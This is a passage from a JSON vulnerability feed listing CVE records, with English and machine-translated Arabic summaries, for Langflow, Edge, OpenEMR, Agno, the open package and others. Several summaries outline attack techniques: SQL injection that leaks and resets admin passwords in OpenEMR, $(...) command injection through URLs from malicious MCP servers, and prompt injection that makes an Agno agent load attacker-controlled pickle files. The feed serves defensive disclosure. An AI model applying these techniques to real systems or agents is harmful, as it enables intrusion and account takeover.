eval/exec."},"refs":[["https://www.ibm.com/support/pages/node/7293016","patch"]],"epss":0.0085,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-107329","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:17:50Z","product":"Langflow Langflow","affected":[["1.0.0 – <1.12.5","1.12.5"]],"title":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بسبب التحكم غير السليم في توليد الشيفرة"},"summary":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بسبب التحكم غير السليم في توليد الشيفرة."},"refs":[["https://www.ibm.com/support/pages/node/7293016","patch"]],"epss":0.0085,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-107025","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T16:17:48Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in WikiAndPad alpha/beta v0.2alpha03 (versionCode 200300) allows unauthorized attackers to export the application's data.","ar":"صلاحيات غير آمنة في WikiAndPad alpha/beta v0.2alpha03 (رقم الإصدار versionCode 200300) تتيح للمهاجمين غير المصرح لهم تصدير بيانات التطبيق."},"summary":{"en":"Insecure permissions in WikiAndPad alpha/beta v0.2alpha03 (versionCode 200300) allows unauthorized attackers to export the application's data.","ar":"صلاحيات غير آمنة في WikiAndPad alpha/beta v0.2alpha03 (رقم الإصدار versionCode 200300) تتيح للمهاجمين غير المصرح لهم تصدير بيانات التطبيق."},"refs":[["https://f-droid.org/archive/de.mbutscher.wikiandpad.alphabeta_200300.apk","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107025.md","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107030","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T16:17:48Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in craftxbox YubiClip XOR fork v1.0.1 (versionCode 10003) allows unauthorized attackers to trigger the OTP-clipboard (One-Time Pa","ar":"أذونات غير آمنة في craftxbox YubiClip XOR fork v1.0.1 (معرف الإصدار 10003) تسمح لمهاجمين غير مصرح لهم بتشغيل آلية الحافظة لكلمات المرور لمرة واحدة (OTP-clipboard)"},"summary":{"en":"Insecure permissions in craftxbox YubiClip XOR fork v1.0.1 (versionCode 10003) allows unauthorized attackers to trigger the OTP-clipboard (One-Time Password) mechanism, causing a desynchronization of the timing.","ar":"تسمح الأذونات غير الآمنة في craftxbox YubiClip XOR fork v1.0.1 (معرف الإصدار 10003) لمهاجمين غير مصرح لهم بتشغيل آلية الحافظة لكلمات المرور لمرة واحدة (OTP-clipboard)، مما يتسبب في عدم مزامنة التوقيت."},"refs":[["https://f-droid.org/packages/com.craftxbox.yubiclip.xor/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107030.md","ref"],["https://github.com/craftxbox/yubiclip-xor","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-104317","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:17:43Z","product":"Langflow Langflow","affected":[["1.0.0 – <1.12.4","1.12.4"]],"title":{"en":"IBM Langflow OSS 1.0.0 through 1.12.3 could allow a remote attacker who could reach the message broker to execute arbitrary code on the system due to ","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.3 لمهاجم عن بُعد يمكنه الوصول إلى وسيط الرسائل بتنفيذ شيفرة عشوائية على النظام بسبب إلغاء تسلسل بيانات غير موثوقة."},"summary":{"en":"IBM Langflow OSS 1.0.0 through 1.12.3 could allow a remote attacker who could reach the message broker to execute arbitrary code on the system due to the deserialization of untrusted data.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.3 لمهاجم عن بُعد يمكنه الوصول إلى وسيط الرسائل بتنفيذ شيفرة عشوائية على النظام بسبب إلغاء تسلسل بيانات غير موثوقة."},"refs":[["https://www.ibm.com/support/pages/node/7293015","patch"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-103092","cvss":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:17:41Z","product":"Langflow Langflow","affected":[["1.0.0 – <1.12.4","1.12.4"]],"title":{"en":"IBM Langflow OSS 1.0.0 through 1.12.3 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper access control.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.3 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ أوامر SQL عشوائية بسبب التحكم غير السليم في الوصول."},"summary":{"en":"IBM Langflow OSS 1.0.0 through 1.12.3 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper access control.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.3 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ أوامر SQL عشوائية بسبب التحكم غير السليم في الوصول."},"refs":[["https://www.ibm.com/support/pages/node/7293015","patch"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-118079","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T15:24:37Z","product":"FolioVision FV Flowplayer Video Player","affected":[["0 – 7.5.56.7212",null]],"title":{"en":"WordPress FV Flowplayer Video Player plugin <= 7.5.56.7212 - PHP Object Injection vulnerability","ar":"ثغرة حقن كائنات PHP في إضافة WordPress FV Flowplayer Video Player الإصدار <= 7.5.56.7212"},"summary":{"en":"Deserialization of Untrusted Data vulnerability in FolioVision FV Flowplayer Video Player fv-wordpress-flowplayer allows Object Injection.This issue affects FV Flowplayer Video Player: from n/a through 7.5.56.7212.","ar":"توجد ثغرة إلغاء تسلسل البيانات غير الموثوقة في إضافة FolioVision FV Flowplayer Video Player fv-wordpress-flowplayer مما يسمح بحقن الكائنات. تؤثر هذه المشكلة على FV Flowplayer Video Player من الإصدار غير المتاح حتى 7.5.56.7212."},"refs":[["https://patchstack.com/database/wordpress/plugin/fv-wordpress-flowplayer/vulnerability/wordpress-fv-flowplayer-video-player-plugin-8-3-4-php-object-injection-vulnerability?_s_id=cve","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"foliovision-fv-flowplayer-video-player"},{"id":"CVE-2026-88077","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T15:21:51Z","product":"Microsoft Microsoft Edge (Chromium-based)","affected":[["1.0.0.0 – <154.0.4258.62","154.0.4258.62"],[" – <154.0.4258.62","154.0.4258.62"]],"title":{"en":"Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability","ar":"ثغرة تصعيد الصلاحيات في Microsoft Edge (Chromium-based)"},"summary":{"en":"Integer overflow or wraparound in Microsoft Edge (Chromium-based) allows an unauthorized attacker to elevate privileges over a network.","ar":"يسمح الطفح الصحيح أو التلفيف في Microsoft Edge (Chromium-based) لمهاجم غير مصرح له بتصعيد الصلاحيات عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88077","patch"]],"epss":0.0064,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-85899","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T15:21:49Z","product":"Microsoft Microsoft Edge (Chromium-based)","affected":[["1.0.0.0 – <155.0.4283.45","155.0.4283.45"],[" – <155.0.4283.45","155.0.4283.45"]],"title":{"en":"Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability","ar":"ثغرة تصعيد الصلاحيات في Microsoft Edge (Chromium-based)"},"summary":{"en":"Use after free in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges over a network.","ar":"تتيح ثغرة الاستخدام بعد التحرير في Microsoft Edge (Chromium-based) لمهاجم مصرح له بتصعيد الصلاحيات عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85899","patch"]],"epss":0.0064,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-114148","cvss":7.8,"vector":null,"cwe":"CWE-276","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T15:21:47Z","product":"Microsoft .NET 10.0 installed on Linux","affected":[["10.0.0 – <10.0.403","10.0.403"],["11.0.0-preview.1 – <11.0.100-rc.3","11.0.100-rc.3"],["8.0.0 – <8.0.427","8.0.427"],["9.0.0 – <9.0.320","9.0.320"],["8.0.100 – <10.0.403-servicing.26523.112","10.0.403-servicing.26523.112"],["8.0.0 – <9.0.22","9.0.22"]],"title":{"en":"ASP.NET Core Elevation of Privilege Vulnerability","ar":"ثغرة تصعيد الصلاحيات في ASP.NET Core"},"summary":{"en":"Incorrect default permissions in ASP.NET Core allows an authorized attacker to elevate privileges locally.","ar":"تسمح الأذونات الافتراضية غير الصحيحة في ASP.NET Core لمهاجم مصرح له بتصعيد الصلاحيات محليًا."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148","patch"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-net"},{"id":"CVE-2026-107019","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T15:17:15Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in the feiertage.ImportActivity component of Arbeitszeiterfassung2 versionCode 159 allows unauthorized attackers to create forged","ar":"صلاحيات غير آمنة في مكون feiertage.ImportActivity الخاص بتطبيق Arbeitszeiterfassung2 برقم الإصدار versionCode 159 تتيح للمهاجمين غير المصرح لهم إنشاء"},"summary":{"en":"Insecure permissions in the feiertage.ImportActivity component of Arbeitszeiterfassung2 versionCode 159 allows unauthorized attackers to create forged holiday/work-time entries via crafted ICS imports.","ar":"صلاحيات غير آمنة في مكون feiertage.ImportActivity الخاص بتطبيق Arbeitszeiterfassung2 برقم الإصدار versionCode 159 تتيح للمهاجمين غير المصرح لهم إنشاء إدخالات عطلات/أوقات عمل مزيفة عبر استيراد ملفات ICS مصممة خصيصاً."},"refs":[["https://f-droid.org/packages/askanimus.arbeitszeiterfassung2/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107019.md","ref"],["https://gitlab.com/Askanimus/arbeitszeitkonto","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107018","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-732","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T15:17:15Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in Ghost Commander File Manager versionCode 479 allows unauthorized attackers to arbitrarily read and write files inside the comm","ar":"صلاحيات غير آمنة في Ghost Commander File Manager إصدار الرمز 479 تتيح لمهاجمين غير مصرح لهم قراءة وكتابة الملفات داخل التخزين الخاص"},"summary":{"en":"Insecure permissions in Ghost Commander File Manager versionCode 479 allows unauthorized attackers to arbitrarily read and write files inside the commander's private storage.","ar":"تتيح صلاحيات غير آمنة في Ghost Commander File Manager إصدار الرمز 479 لمهاجمين غير مصرح لهم قراءة وكتابة الملفات تعسفياً داخل التخزين الخاص بمدير الملفات."},"refs":[["https://f-droid.org/packages/com.ghostsq.commander/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107018.md","ref"],["https://sourceforge.net/p/ghostcommander","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107016","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T15:17:15Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in Fossify v1.3.0 allows unauthorized attackers to access and read another user's stored contacts.","ar":"صلاحيات غير آمنة في تطبيق Fossify الإصدار v1.3.0 تسمح لمهاجمين غير مصرح لهم بالوصول وقراءة جهات الاتصال المخزنة لمستخدم آخر."},"summary":{"en":"Insecure permissions in Fossify v1.3.0 allows unauthorized attackers to access and read another user's stored contacts.","ar":"تسمح الصلاحيات غير الآمنة في تطبيق Fossify الإصدار v1.3.0 لمهاجمين غير مصرح لهم بالوصول وقراءة جهات الاتصال المخزنة لمستخدم آخر."},"refs":[["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107015-CVE-2026-107016.md","ref"],["https://github.com/FossifyOrg/Contacts","ref"],["https://github.com/kanytu/Simple-Contacts/issues/628","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107021","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T15:17:15Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in the CardProvider content provider component of helloworld1 AnyMemo versionCode 20260730 allows unauthorized attackers to arbit","ar":"صلاحيات غير آمنة في مكون مزود المحتوى CardProvider التابع لتطبيق helloworld1 AnyMemo بالإصدار رقم versionCode 20260730 تسمح لمهاجمين غير مصرح لهم..."},"summary":{"en":"Insecure permissions in the CardProvider content provider component of helloworld1 AnyMemo versionCode 20260730 allows unauthorized attackers to arbitrarily read flashcards across the user's entire memorization database.","ar":"تسمح الصلاحيات غير الآمنة في مكون مزود المحتوى CardProvider التابع لتطبيق helloworld1 AnyMemo بالإصدار رقم versionCode 20260730 لمهاجمين غير مصرح لهم بقراءة البطاقات التعليمية بشكل عشوائي عبر قاعدة بيانات الحفظ الخاصة بالمستخدم بأكملها."},"refs":[["https://f-droid.org/packages/org.liberty.android.fantastischmemo/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107021.md","ref"],["https://github.com/helloworld1/AnyMemo","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-79589","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T14:17:59Z","product":"Unknown product","affected":[],"title":{"en":"The WIFI4 N300 router (Model: T1 Pro) v1.0.0 by U-speed contains an insecure access control flaw that allows an attacker to gain unauthenticated root ","ar":"جهاز التوجيه WIFI4 N300 (الطراز: T1 Pro) v1.0.0 من U-speed يحتوي على عيب تحكم في الوصول غير آمن يسمح للمهاجم بالحصول على غلاف جذر دون مصادقة"},"summary":{"en":"The WIFI4 N300 router (Model: T1 Pro) v1.0.0 by U-speed contains an insecure access control flaw that allows an attacker to gain unauthenticated root shell. The vulnerability is caused by the exposure of the UART debugging interface having a lack of authentication, authorization and access control functionality. Once the interface is soldered and connected to the attacker, they gain root privilege to the system.","ar":"يحتوي جهاز التوجيه WIFI4 N300 (الطراز: T1 Pro) v1.0.0 من U-speed على عيب تحكم في الوصول غير آمن يسمح للمهاجم بالحصول على غلاف جذر دون مصادقة. تعود الثغرة إلى مكشوفية واجهة تصحيح الأخطاء UART التي تفتقر إلى وظائف المصادقة والتحكم في الوصول. بمجرد لحام الواجهة وتوصيلها بالمهاجم، فإنهم يحصلون على صلاحيات الجذر على النظام."},"refs":[["https://github.com/milkinit/cve-disclosures/tree/main/IoT/CVE-2026-79589","ref"],["https://www.u-speed.com.cn/en/product_details?production=N300&production_miaoshu=1%E6%89%9816%E4%B8%BB%E5%85%89%E7%8C%AB%2C%E4%BC%81%E4%B8%9A%E5%85%A8%E5%85%89%E4%B8%A4%E5%8D%83%E5%85%86%E6%8E%A5%E5%85%A5","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-119049","cvss":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T14:17:51Z","product":"idinging FreeMail","affected":[["0 – <5.3.2","5.3.2"]],"title":{"en":"FreeMail before 5.3.2 Authorization Bypass via /api/create Mailbox Claiming","ar":"تجاوز التفويض عبر مطالبة صندوق البريد في نقطة النهاية /api/create في FreeMail قبل النسخة 5.3.2"},"summary":{"en":"FreeMail before 5.3.2 contains an authorization bypass vulnerability that allows authenticated users to claim another user's existing mailbox via the POST /api/create endpoint. Attackers who know a victim's address can become co-owners through assignMailboxToUser to read messages and verification codes, set forwarding, and delete mail.","ar":"تحتوي FreeMail قبل النسخة 5.3.2 على ثغرة تجاوز تفويض تسمح للمستخدمين الذين يملكون حسابات مصادق عليها بالمطالبة بصندوق بريد موجود لمستخدم آخر عبر نقطة النهاية POST /api/create. يمكن للمهاجمين الذين يعرفون عنوان الضحية أن يصبحوا مالكين مشاركين عبر الدالة assignMailboxToUser لقراءة الرسائل ورموز التحقق، وتعيين إعادة توجيه، وحذف البريد."},"refs":[["https://github.com/idinging/freemail/commit/62ed3afdbb4de90a135c12de928e586caf01b5a1","patch"],["https://www.vulncheck.com/advisories/freemail-before-5.3.2-authorization-bypass-via-api-create-mailbox-claiming","advisory"],["https://github.com/idinging/freemail","ref"],["https://github.com/idinging/freemail/blob/a95c1710e7eeb9f2c74a49ef962f4f43a36695b3/src/db/users.js#L137-L163","ref"],["https://github.com/idinging/freemail/issues/73","ref"],["https://github.com/idinging/freemail/releases/tag/v5.3.2","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"idinging-freemail"},{"id":"CVE-2026-119050","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-470","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T14:17:51Z","product":"agno-agi agno","affected":[["0 – 3.1.11",null]],"title":{"en":"Agno through 3.1.11 Code Execution via PandasTools Unsafe Reflection","ar":"تنفيذ شيفرة في Agno حتى النسخة 3.1.11 عبر الانعكاس غير الآمن في PandasTools"},"summary":{"en":"Agno through 3.1.11 contains an unsafe reflection vulnerability in PandasTools that allows attackers to invoke arbitrary pandas functions by supplying model-controlled function names to getattr(). Attackers can use prompt injection to make the agent call pandas.read_pickle on attacker-controlled paths for code execution, or call other readers to read local files.","ar":"تحتوي Agno حتى النسخة 3.1.11 على ثغرة انعكاس غير آمن في PandasTools تسمح للمهاجمين باستدعاء دالات pandas عشوائية عن طريق توفير أسماء دالات يتحكم فيها النموذج إلى الدالة getattr(). يمكن للمهاجمين استخدام حقن التوجيه لجعل الوكيل يستدعي pandas.read_pickle على مسارات يتحكم فيها المهاجم لتنفيذ شيفرة، أو استدعاء قارئات أخرى لقراءة ملفات محلية."},"refs":[["https://www.vulncheck.com/advisories/agno-through-3.1.11-code-execution-via-pandastools-unsafe-reflection","advisory"],["https://github.com/agno-agi/agno","ref"],["https://github.com/agno-agi/agno/blob/d9ab0a758286142e7d998ef313ee7504d7fd9453/libs/agno/agno/tools/pandas.py#L54","ref"],["https://github.com/agno-agi/agno/blob/d9ab0a758286142e7d998ef313ee7504d7fd9453/libs/agno/agno/tools/pandas.py#L90","ref"],["https://github.com/agno-agi/agno/issues/8699","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"agno-agi-agno"},{"id":"CVE-2019-25781","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T14:17:39Z","product":"Python-Markdown Markdown","affected":[["3.0 – 3.11.2",null]],"title":{"en":"Python-Markdown 3.0 through 3.11.2 Denial of Service via Link Bracket Parsing","ar":"حجب الخدمة في Python-Markdown من النسخة 3.0 حتى النسخة 3.11.2 عبر تحليل أقواس الروابط"},"summary":{"en":"Python-Markdown 3.0 through 3.11.2 contains an algorithmic complexity vulnerability in inline link parsing that allows remote attackers to exhaust CPU through unmatched brackets. Attackers can submit short Markdown containing repeated [ or ![ characters, forcing LinkInlineProcessor.getText() and getLink() into quadratic scans that keep workers busy for minutes.","ar":"تحتوي Python-Markdown من النسخة 3.0 حتى النسخة 3.11.2 على ثغرة تعقيد خوارزمي في تحليل الروابط المضمنة والتي تسمح للمهاجمين عن بُعد باستنفاد وحدة المعالجة المركزية من خلال أقواس غير متطابقة. يمكن للمهاجمين إرسال نص Markdown قصير يحتوي على أحرف [ أو ![ متكررة، مما يجبر LinkInlineProcessor.getText() و getLink() على إجراء عمليات مسح تربيعية تبقي عمال التشغيل مشغولين لدقائق."},"refs":[["https://www.vulncheck.com/advisories/python-markdown-3.0-through-3.11.2-denial-of-service-via-link-bracket-parsing","advisory"],["https://github.com/Python-Markdown/markdown","ref"],["https://github.com/Python-Markdown/markdown/blob/b41e0aaf1181f1a8cb200cf5a815aad7c0020d23/markdown/inlinepatterns.py#L1155-L1172","ref"],["https://github.com/Python-Markdown/markdown/issues/1654","ref"],["https://github.com/Python-Markdown/markdown/issues/798","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"python-markdown-markdown"},{"id":"CVE-2026-49142","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T13:17:12Z","product":"openemr openemr","affected":[["0 – <8.5.0","8.5.0"]],"title":{"en":"OpenEMR Before 8.5.0 SQL Injection via form_icd_codes[]","ar":"ثغرة حقن SQL في OpenEMR قبل الإصدار 8.5.0 عبر form_icd_codes[]"},"summary":{"en":"OpenEMR before 8.5.0 contains an authenticated SQL injection vulnerability in the Syndromic Surveillance module that allows users with Clinician-level privileges to read and modify arbitrary database contents by submitting crafted values in the form_icd_codes[] POST parameter to the syndromicsurveillance/index endpoint. Attackers can inject an unquoted numeric IN() clause and UNION DISTINCT SELECT statement using hex-encoded literals to abuse MySQL extractvalue() for error-based exfiltration of bcrypt password hashes and execute stacked queries that reset passwords, resulting in full administrative account takeover.","ar":"يحتوي OpenEMR قبل الإصدار 8.5.0 على ثغرة حقن SQL بمصادقة في وحدة Syndromic Surveillance، والتي تتيح للمستخدمين الحاصلين على صلاحيات طبيب قراءة وتعديل محتويات قاعدة بيانات عشوائية عبر إرسال قيم مُصاغة خصيصًا في معامل POST المسمى form_icd_codes[] إلى نقطة النهاية syndromicsurveillance/index. يمكن للمهاجمين حقن جملة IN() عددية غير محاطة بعلامات اقتباس وجملة UNION DISTINCT SELECT باستخدام قيم حرفية مشفرة بالنظام السداسي عشر استغلالاً لدالة استخراج الأخطاء في MySQL المسمى extractvalue() لتسريب تجزئات كلمات مرور bcrypt عبر الأخطاء وتنفيذ استعلامات متراكمة تعيد تعيين كلمات المرور، مما يؤدي إلى السيطرة الكاملة على حساب المسؤول."},"refs":[["https://github.com/openemr/openemr/commit/9b52cc0fc3a4eddd9fa7a096f6a3ac2a57d772d0","patch"],["https://github.com/openemr/openemr/pull/14329","patch"],["https://github.com/openemr/openemr/security/advisories/GHSA-w99c-jwcm-24hh","advisory"],["https://www.vulncheck.com/advisories/openemr-before-sql-injection-via-form-icd-codes","advisory"],["https://github.com/openemr/openemr/releases/tag/v8_5_0","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openemr"},{"id":"CVE-2026-119051","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T13:08:52Z","product":"hughsk flat","affected":[["0 – 6.0.1",null]],"title":{"en":"flat through 6.0.1 Denial of Service via unflatten() Numeric Array Index Keys","ar":"حزمة flat حتى الإصدار 6.0.1 مصابة بحجب الخدمة عبر مفاتيح مصفوفة رقمية في unflatten()"},"summary":{"en":"flat through 6.0.1 contains an uncontrolled resource allocation vulnerability in unflatten() that allows attackers to create huge sparse arrays via unbounded numeric keys. Attackers can supply flattened keys such as a.4294967294, causing iteration with forEach, spread or JSON.stringify to block the Node.js event loop.","ar":"تحتوي حزمة flat حتى الإصدار 6.0.1 على ثغرة تخصيص موارد غير متحكم بها في الدالة unflatten() والتي تسمح للمهاجمين بإنشاء مصفوفات متفرقة ضخمة عبر مفاتيح رقمية غير محدودة. يمكن للمهاجمين توفير مفاتيح مسطحة مثل a.4294967294، مما يتسبب في حظر حلقة الأحداث لـ Node.js عند التكرار باستخدام forEach أو spread أو JSON.stringify."},"refs":[["https://www.vulncheck.com/advisories/flat-through-6.0.1-denial-of-service-via-unflatten-numeric-array-index-keys","advisory"],["https://github.com/hughsk/flat/issues/195","ref"],["https://github.com/hughsk/flat","ref"],["https://github.com/hughsk/flat/blob/1d68e1d06c0210cff31e5c61ac177f3e2d3fa564/index.js#L65-L75","ref"],["https://github.com/hughsk/flat/blob/1d68e1d06c0210cff31e5c61ac177f3e2d3fa564/index.js#L137-L142","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hughsk-flat"},{"id":"CVE-2026-119025","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T12:17:12Z","product":"sindresorhus open","affected":[["7.2.0 – <11.0.0","11.0.0"],["2.0.0 – <2.12.0","2.12.0"],["1.0.137 – <1.18.33","1.18.33"]],"title":{"en":"open 7.2.0 before 11.0.0 OS Command Injection via PowerShell on Windows","ar":"ثغرة حقن أوامر نظام التشغيل في open من الإصدار 7.2.0 قبل 11.0.0 عبر PowerShell على ويندوز"},"summary":{"en":"open 7.2.0 before 11.0.0 contains an OS command injection vulnerability that allows attackers to execute PowerShell code by supplying crafted URLs on Windows and WSL. Attackers can embed $(...) subexpressions in URLs, such as OAuth authorization_endpoint values from malicious MCP servers, which execute when index.js passes them unescaped to powershell -EncodedCommand.","ar":"يحتوي open من الإصدار 7.2.0 قبل 11.0.0 على ثغرة حقن أوامر نظام التشغيل تتيح للمهاجمين تنفيذ شيفرة PowerShell من خلال توفير عناوين URL مُصاغة خصيصًا على أنظمة ويندوز و WSL. يمكن للمهاجمين تضمين تعبيرات فرعية مثل $(...) داخل عناوين URL، مثل قيم 